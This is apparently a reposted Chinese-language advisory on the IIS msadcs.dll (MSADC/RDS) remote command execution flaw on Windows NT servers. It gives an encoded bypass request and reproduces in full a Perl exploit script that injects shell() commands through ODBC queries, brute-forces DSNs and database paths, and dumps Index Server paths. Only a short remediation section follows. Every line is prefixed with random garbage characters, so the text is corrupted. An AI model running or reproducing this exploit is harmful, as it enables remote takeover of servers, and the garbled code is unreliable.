IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
d?uN6 JH9 <:rbK9MIl 涉及程序：
!b0A NIp Microsoft NT server
U)n+j}vi O*8 .kqlgt 描述：
^mA ^7jB 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
np#RBy &2EimP 详细：
TZ2-%k# 如果你没有时间读详细内容的话，就删除:
; n)9 c:\Program Files\Common Files\System\Msadc\msadcs.dll
d/fg 有关的安全问题就没有了。
Av#_cL u\9 t+wi}< 微软对关于Msadc的问题发了三次以上的补丁，仍然存在问题。
vl{G;[6 1D6F
WYV8 1、第一次补丁，基本上，其安全问题是MS Jet 3.5造成的，它允许调用VBA shell()函数，这将允许入侵者远程运行shell指令。
0A}'@N@G) 关于利用ODBC远程漏洞的描述，请参看:
?Thh7#7LM LR5X=&k http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm B?c n5 drr n&y 2、IIS 4.0的缺省安装设置的是MDAC1.5，这个安装下有一个/msadc/msadcs.dll的文件，也允许通过web远程访问ODBC，获取系统的控制权，这点在很多黑客论坛都讨论过，请参看
ah (lH5r http://www.microsoft.com/security/bulletins/MS99-025faq.asp CQ`$' oy?W <oc"!c;T 这里不再论述。
s r+Y"R 4*K~6 Vh 3、如果web目录下的/msadc/msadcs.dll/可以访问，那么ms的任何补丁可能都没用，用类似:
=/J{>S>(i ?=22@Q}g /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
I}&`IUP 的请求，就可以绕过安全机制进行非法的VbBusObj请求，从而达到入侵的目的。 下面的代码仅供测试，严禁用于非法用途，否则后果自负!!!
0"*!0s ~
E
mUA 38 =68CR[H #将下面这段保存为txt文件，然后: "perl -x 文件名"
+NH#t} . tS2Orzc>, #!perl
;ORT#7CU #
Ch~2w )HAA # MSADC/RDS 'usage' (aka exploit) script
iAOm[=W #
9HjtWQn # by rain.forest.puppy
0pYCh$TL1 #
7NY9UQ # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
_|!F hZ # beta test and find errors!
t =IpV l! S8 { S b> use Socket; use Getopt::Std;
Aw38T w getopts("e:vd:h:XR", \%args);
bP4<q?FKcN 'k ?%39 print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
R*v~jR/ %SHjJCS3 if (!defined $args{h} && !defined $args{R}) {
yt +" \d print qq~
t dl Y Usage: msadc.pl -h <host> { -d <delay> -X -v }
7 fE
QD?C -h <host> = host you want to scan (ip or domain)
a2{ nrGD -d <seconds> = delay between calls, default 1 second
J(% Jg -X = dump Index Server path table, if available
9
2e ?v8 -v = verbose
Od?M4Ed( -e = external dictionary file for step 5
Hkcr+BQ w _*|u Or a -R will resume a command session
u;[*Z zi-; 7lT ~; exit;}
mr`Lxy9e "`aNNIG& $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
Guc~]
B if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
3( Y#*f| if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
* 5\k1-$ if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
C1/<t) ^ $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
y}'c )u if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
%,l+?fF &s + DK ` if (!defined $args{R}){ $ret = &has_msadc;
<rO0t9OH die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
qB`-[A9HPe M=mzl750M print "Please type the NT commandline you want to run (cmd /c assumed):\n"
&m>yY{ be . "cmd /c ";
TTJFF\$? $in=<STDIN>; chomp $in;
F)W7,^=X>- $command="cmd /c " . $in ;
VUo7Evc:.P _ o
2pyV& if (defined $args{R}) {&load; exit;}
$6(,/}==0 v-V#?+ # print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
tP?pN]Q$, &try_btcustmr;
"1<>c/h <`B4+:;w6 print "\nStep 2: Trying to make our own DSN...";
|Ew~3-u! &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
^*
xhbM; d:U2b"k=/u print "\nStep 3: Trying known DSNs...";
YPjjSi:# &known_dsn;
K%XQdMv $yZ(c#L print "\nStep 4: Trying known .mdbs...";
; W/K7 } &known_mdb;
\Bg;^6U ),G?f {`! if (defined $args{e}){
jkPy e{j print "\nStep 5: Trying dictionary of DSN names...";
muAI$IRR &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
@E(_H$|E ( 5^bU< print "Sorry Charley...maybe next time?\n";
6vx0F?>_ exit;
+YL9gNN>P ZQZBap" ##############################################################################
Po%+ :0oX NA%(ZRSg( sub sendraw { # ripped and modded from whisker
x >u \ sleep($delay); # it's a DoS on the server! At least on mine...
r[>=iim my ($pstr)=@_;
aR
iD}P*V socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
'8au j die("Socket problems\n");
zyznFiE if(connect(S,pack "SnA4x8",2,80,$target)){
q'07 select(S); $|=1;
sXD.*D print $pstr; my @in=<S>;
mSw$?
> select(STDOUT); close(S);
l>KkK|!T^i return @in;
Fq]ht* } else { die("Can't connect...\n"); }}
}b// oe7 Cr!}qZq ##############################################################################
(QO8_ g UfLw sub make_header { # make the HTTP request
nLA8Hy"8z my $msadc=<<EOT
`
>w4G|{ POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
h"; 0i: User-Agent: ACTIVEDATA
i2a"" zac Host: $ip
D{Zjo)&tF' Content-Length: $clen
.|[5*- Connection: Keep-Alive
e|`Q W|9 .
G_fP%ovh ADCClientVersion:01.06
Dr;-2$Kt/& Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
XHX \+&6 .{cka]9WJz --!ADM!ROX!YOUR!WORLD!
u?OyvvpH Content-Type: application/x-varg
H5L~[ \
5t Content-Length: $reqlen
VtNY~ :YL`GSl EOT
X*Ibk-PUM ; $msadc=~s/\n/\r\n/g;
!`u return $msadc;}
a/9R~DwN *r Y@(| ##############################################################################
~1x,m.f8 cULASS`, sub make_req { # make the RDS request
6`KAl rH my ($switch, $p1, $p2)=@_;
k`LoRqF my $req=""; my $t1, $t2, $query, $dsn;
HFJna2B` 3DNw=Ic0k if ($switch==1){ # this is the btcustmr.mdb query
On[:]# $query="Select * from Customers where City=" . make_shell();
~Rs_ep'+Q2 $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
rf2+~B{$, $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
YbMeSU/sX _\H MF elsif ($switch==2){ # this is general make table query
nUAoPE $query="create table AZZ (B int, C varchar(10))";
$=7'Cm ? $dsn="$p1";}
4LO U[D J!
;g.q elsif ($switch==3){ # this is general exploit table query
'6^20rj $query="select * from AZZ where C=" . make_shell();
v6gfyGCJ $dsn="$p1";}
D1 &%N{ P'.M.I@ elsif ($switch==4){ # attempt to hork file info from index server
bB|UQaCl $query="select path from scope()";
.hYrE5\- $dsn="Provider=MSIDXS;";}
`+IB;G1 0JQ0lzk1 elsif ($switch==5){ # bad query
K#j<G]I( @ $query="select";
LX%K*nlj $dsn="$p1";}
EhEUkZE3 ) &< !DNXQ $t1= make_unicode($query);
hJqLH ?Ri $t2= make_unicode($dsn);
hXsd12 $req = "\x02\x00\x03\x00";
|N 9::),< $req.= "\x08\x00" . pack ("S1", length($t1));
`0l)\ $req.= "\x00\x00" . $t1 ;
0 ?)U?=>]p $req.= "\x08\x00" . pack ("S1", length($t2));
|5uv mK $req.= "\x00\x00" . $t2 ;
;Z\1PwT $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
jOJ $QT return $req;}
E7A psi4] d(.e%[` ##############################################################################
% D]vKv~< zTDB]z!A sub make_shell { # this makes the shell() statement
Hzr<i4Y=w9 return "'|shell(\"$command\")|'";}
t> D|1E" %SKp <>;9 ##############################################################################
Uu~7+oaQ R3nCk-Dq sub make_unicode { # quick little function to convert to unicode
^/|agQ7D2 my ($in)=@_; my $out;
P8tpbdZE- for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
OH` |
c return $out;}
%9, : T3HAr9i%) ##############################################################################
<qG4[W,[ 08J[9a0[ sub rdo_success { # checks for RDO return success (this is kludge)
#) eI] my (@in) = @_; my $base=content_start(@in);
8]@)0q {r if($in[$base]=~/multipart\/mixed/){
k
lLhi<* return 1 if( $in[$base+10]=~/^\x09\x00/ );}
` ZO#n return 0;}
Z(fXN$ Gp0H[-oF ##############################################################################
bRSE"B <eU1E }BDQ sub make_dsn { # this makes a DSN for us
\Tf$i(0q my @drives=("c","d","e","f");
t' )47 k\ print "\nMaking DSN: ";
9FB[`} foreach $drive (@drives) {
4uQ\JD(*Eu print "$drive: ";
{!?
@u? M my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
! N\<QRb\q "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
_zAHN0d . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
R+'$V$g\X $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
K? ;_T$^K return 0 if $2 eq "404"; # not found/doesn't exist
T&M*sydA if($2 eq "200") {
[E9V #J89 foreach $line (@results) {
(G:A^z return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
W[pOLc- } return 0;}
I
r8,= . hBq1p
##############################################################################
G?:{9. ( Yt]tRqrh;T sub verify_exists {
BMubN my ($page)=@_;
N _dHPa my @results=sendraw("GET $page HTTP/1.0\n\n");
uvN Lm]* return $results[0];}
XRZj+muTZ 6f"jl ##############################################################################
l(c2 B Q5[x2 s_ d sub try_btcustmr {
:O`7kZ]=n my @drives=("c","d","e","f");
~d0:>8zQR my @dirs=("winnt","winnt35","winnt351","win","windows");
O T1 @ |bN[X L foreach $dir (@dirs) {
4(
Q_J4}P print "$dir -> "; # fun status so you can see progress
/ z<7gd~oU foreach $drive (@drives) {
^$8@B]* print "$drive: "; # ditto
bsfYz $reqlen=length( make_req(1,$drive,$dir) ) - 28;
G.2\Sw $reqlenlen=length( "$reqlen" );
pbfIO47ZC $clen= 206 + $reqlenlen + $reqlen;
U
GA_^?4 `pMI @"m my @results=sendraw(make_header() . make_req(1,$drive,$dir));
h |Of i if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
gMN >`Z`fV else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
Rm@#GP`
* QKxrg ##############################################################################
] !7 %) ?]*WVjskE sub odbc_error {
st-
z>} my (@in)=@_; my $base;
hv)> HU& my $base = content_start(@in);
w }8
,ICL if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
tcDWx:Q $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
t0*kL. $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
vY 0EffZ $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
0P{^aSxTP return $in[$base+4].$in[$base+5].$in[$base+6];}
1M1|Wp print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
mS\ gh)<h print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
LtIR)EtB] $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
l dd8'2 -cgLEl1 J ##############################################################################
#7 )& ` 6MCLm.L sub verbose {
/{)}y my ($in)=@_;
0bG[pp$[ return if !$verbose;
Dno]N print STDOUT "\n$in\n";}
\ a#{Y/j3 6?;U[ eV ##############################################################################
% G'{G csh@C
ckC8 sub save {
lN(|EI my ($p1, $p2, $p3, $p4)=@_;
OD@k9I[ open(OUT, ">rds.save") || print "Problem saving parameters...\n";
U46 qpb 7 print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
2 m"2>gX close OUT;}
;mT|0&o>#
kM:Z(Z7$ ##############################################################################
Z\lJE>1 ,6J{-Iu sub load {
CP]nk0 my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
-_*ux! open(IN,"<rds.save") || die("Couldn't open rds.save\n");
7
KuUV!\h` @p=<IN>; close(IN);
~FP4JM,y6 $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
Kw%to9 eh) $target= inet_aton($ip) || die("inet_aton problems");
(:(Im k;9 print "Resuming to $ip ...";
_i3? ;Fds $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
M]Kx g; if($p[1]==1) {
tPp9=e2[s $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
I cJy$+ $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
f|v5i tO2 my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
C O c, if (rdo_success(@results)){print "Success!\n";}
$_cO7d else { print "failed\n"; verbose(odbc_error(@results));}}
*VUD!`F elsif ($p[1]==3){
WyA `V C if(run_query("$p[3]")){
J-UqH3({Z, print "Success!\n";} else { print "failed\n"; }}
mNII-X G elsif ($p[1]==4){
lU\v8!Ji if(run_query($drvst . "$p[3]")){
pZ `^0#Fo print "Success!\n"; } else { print "failed\n"; }}
w@![rH6~F
exit;}
>='y+ 68 0?$jC-@k: ##############################################################################
/` ;rlH* ;L*Ku'6Mt sub create_table {
+$uQ_ve my ($in)=@_;
>Ut4INV $reqlen=length( make_req(2,$in,"") ) - 28;
)%+7"7. $reqlenlen=length( "$reqlen" );
/f*QxNZ,p $clen= 206 + $reqlenlen + $reqlen;
;i 'mma_! my @results=sendraw(make_header() . make_req(2,$in,""));
+vr|J: return 1 if rdo_success(@results);
qWdob>u my $temp= odbc_error(@results); verbose($temp);
o?{-K-'B$ return 1 if $temp=~/Table 'AZZ' already exists/;
[g/ &%n0^ return 0;}
1zc aI^e# B>; `$- ##############################################################################
+s j2 C `o4%UkBpM sub known_dsn {
ykS- 5E` # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
. A Dik}o my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
"C] v "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
qo* %S "banner", "banners", "ads", "ADCDemo", "ADCTest");
;hV-*;> S4Q
fx6:~h foreach $dSn (@dsns) {
UfkQG`G9 H print ".";
Hk 0RT%PK next if (!is_access("DSN=$dSn"));
_x` oab0@ if(create_table("DSN=$dSn")){
8{-
*Q(=/ print "$dSn successful\n";
\H4$9lPk if(run_query("DSN=$dSn")){
V;LV),R? print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
b Y2:g ) print "Something's borked. Use verbose next time\n";}}} print "\n";}
F"^/R J a7yq{j ##############################################################################
\Dx;AK s TFZxk sub is_access {
\S_ o{0ZY} my ($in)=@_;
:!QT , $reqlen=length( make_req(5,$in,"") ) - 28;
ii5dTimRJ $reqlenlen=length( "$reqlen" );
iw{rns $clen= 206 + $reqlenlen + $reqlen;
0woLB#v9 my @results=sendraw(make_header() . make_req(5,$in,""));
uj~(r=% my $temp= odbc_error(@results);
~]Weyb[ N verbose($temp); return 1 if ($temp=~/Microsoft Access/);
V r7L9%/wg return 0;}
I_s* pT 4n0I w I ##############################################################################
m4on<5s/ +zg3/C4 S sub run_query {
wZg~k\_lF my ($in)=@_;
GK`U<.[c $reqlen=length( make_req(3,$in,"") ) - 28;
Z [YSE T $reqlenlen=length( "$reqlen" );
Kgw, ]E&7 $clen= 206 + $reqlenlen + $reqlen;
vn x+1T my @results=sendraw(make_header() . make_req(3,$in,""));
M\A6;dz' return 1 if rdo_success(@results);
`]I p`_{ my $temp= odbc_error(@results); verbose($temp);
_[pbf ua return 0;}
Ew )1O9f ^2 `*1el ##############################################################################
v eAdk9 E h+m|A sub known_mdb {
[{q])P; my @drives=("c","d","e","f","g");
zi_0* znw my @dirs=("winnt","winnt35","winnt351","win","windows");
P
r2WF~NuO my $dir, $drive, $mdb;
Ou ] !@s my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
?&JK q^9\I `sLD>@m # this is sparse, because I don't know of many
$}t;c62 my @sysmdbs=( "\\catroot\\icatalog.mdb",
&9ERl Z( A "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
BC)1FxsGf "\\system32\\certmdb.mdb",
bMB@${i} "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
^@
Xzh: ] 1s6= my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
Xd@ d$ "\\cfusion\\cfapps\\forums\\forums_.mdb",
v[4-?7- "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
/^9=2~b "\\cfusion\\cfapps\\security\\realm_.mdb",
?/fC"MJq? "\\cfusion\\cfapps\\security\\data\\realm.mdb",
,R}9n@JI^Y "\\cfusion\\database\\cfexamples.mdb",
97pfMk1_ "\\cfusion\\database\\cfsnippets.mdb",
QT4&Ix,4T1 "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
s dBB ( "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
x3l~k Z( "\\cfusion\\brighttiger\\database\\cleam.mdb",
qm6 X5T "\\cfusion\\database\\smpolicy.mdb",
KjK-#F,@ "\\cfusion\\database\cypress.mdb",
iBk1QRdn "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
#'5{
?C b "\\website\\cgi-win\\dbsample.mdb",
629ogJo8 "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
&3|l4R\ "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
(z:qj/| ); #these are just
wln"g,ct foreach $drive (@drives) {
VKcVwq foreach $dir (@dirs){
kA/yL]m^S foreach $mdb (@sysmdbs) {
:{ Lihe~\ print ".";
I`nC\%g if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
>W6?!ue_ print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
r8>Qs RnU% if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
ub]s>aqy print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
v$Xoxp } else { print "Something's borked. Use verbose next time\n"; }}}}}
m>f8RBp]' 0|| 5 r# foreach $drive (@drives) {
7.tIf
<^$P foreach $mdb (@mdbs) {
;+*/YTkC+P print ".";
<q`| ,mc if(create_table($drv . $drive . $dir . $mdb)){
GsoD^mjY print "\n" . $drive . $dir . $mdb . " successful\n";
K?Jo"oy7 if(run_query($drv . $drive . $dir . $mdb)){
M9.FtQhK/ print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
)T@?.J` } else { print "Something's borked. Use verbose next time\n"; }}}}
j/F:j5O* }
sn8l3h) GC[Ot~*_ ##############################################################################
&hJQHlyJM0 fW$1f5g" sub hork_idx {
K.Y.K$NjP{ print "\nAttempting to dump Index Server tables...\n";
] 4B&8n! print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
),lE8A{ H $reqlen=length( make_req(4,"","") ) - 28;
A&{eC
C $reqlenlen=length( "$reqlen" );
x$z>.4 $clen= 206 + $reqlenlen + $reqlen;
EKUiX#p: M my @results=sendraw2(make_header() . make_req(4,"",""));
/H$:Q|T} if (rdo_success(@results)){
A&V'WahC@I my $max=@results; my $c; my %d;
P} w0= for($c=19; $c<$max; $c++){
2>g!+p Ox $results[$c]=~s/\x00//g;
De\Ocxx $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
Q!(qb $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
lL,0IfC, $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
4'y@ne}g! $d{"$1$2"}="";}
n2Y a'YF foreach $c (keys %d){ print "$c\n"; }
N7!(4|14 } else {print "Index server doesn't seem to be installed.\n"; }}
"(iQ-g Mm "}b/[U@> ##############################################################################
AG|:mQO !O4)Y M sub dsn_dict {
TiK fIv open(IN, "<$args{e}") || die("Can't open external dictionary\n");
LC qWL 1 while(<IN>){
S& F;~ $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
x_- SAyH next if (!is_access("DSN=$dSn"));
ywj'O
e41 if(create_table("DSN=$dSn")){
~<"{u-q#K print "$dSn successful\n";
7*r!-$ if(run_query("DSN=$dSn")){
0GQKM~|H print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
_sQhD i print "Something's borked. Use verbose next time\n";}}}
;Q<2Y# print "\n"; close(IN);}
_$yS4= . @v/
8}n ##############################################################################
|P-kyY34 l - ~PX sub sendraw2 { # ripped and modded from whisker
MAD t $_ sleep($delay); # it's a DoS on the server! At least on mine...
S_;m+Ytg my ($pstr)=@_;
\*Z:w3;r socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
\q"vC1,9 die("Socket problems\n");
n` D-?]* if(connect(S,pack "SnA4x8",2,80,$target)){
' /3\bvZ print "Connected. Getting data";
_pkmHj( open(OUT,">raw.out"); my @in;
ctR ^"'u select(S); $|=1; print $pstr;
7)BK&kpVr while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
fr& K^je\ close(OUT); select(STDOUT); close(S); return @in;
0y%s\,PsT } else { die("Can't connect...\n"); }}
S~B{G T\M b@B\2BT ##############################################################################
|AS9^w OpmPw4?} sub content_start { # this will take in the server headers
OG^#e+ my (@in)=@_; my $c;
1 0tt' : for ($c=1;$c<500;$c++) {
= cI> { if($in[$c] =~/^\x0d\x0a/){
/ }(\P@Z if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
;".]W;I*O else { return $c+1; }}}
ufN`=IJ% return -1;} # it should never get here actually
x5k6"S"1, b< BkI""b ##############################################################################
GD4+f|1.* LAuaowE\v sub funky {
>[<f\BN| my (@in)=@_; my $error=odbc_error(@in);
5:T}C@ if($error=~/ADO could not find the specified provider/){
rEj Ez+wu print "\nServer returned an ADO miscofiguration message\nAborting.\n";
<-HWs@8# exit;}
JTTI`b2l_ if($error=~/A Handler is required/){
e09QaY print "\nServer has custom handler filters (they most likely are patched)\n";
G%T<wKD< exit;}
Bpv"qU7 if($error=~/specified Handler has denied Access/){
gH0Rd
WX print "\nServer has custom handler filters (they most likely are patched)\n";
[@0H md7 exit;}}
EE*FvI` X3l6b+p ##############################################################################
; pG5zRe <<&SyP sub has_msadc {
cUwR6I9 my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
`m\ ?gsw7 my $base=content_start(@results);
R.rE+gxO1 return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
@4>?Y=# return 0;}
)jMk ~;'r Zig3WiD& ########################
V5+|H1= 9L>ep&u)^ LG=_>:~t> 解决方案：
!X1
KOG 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
|%j7Es 2、移除web 目录: /msadc
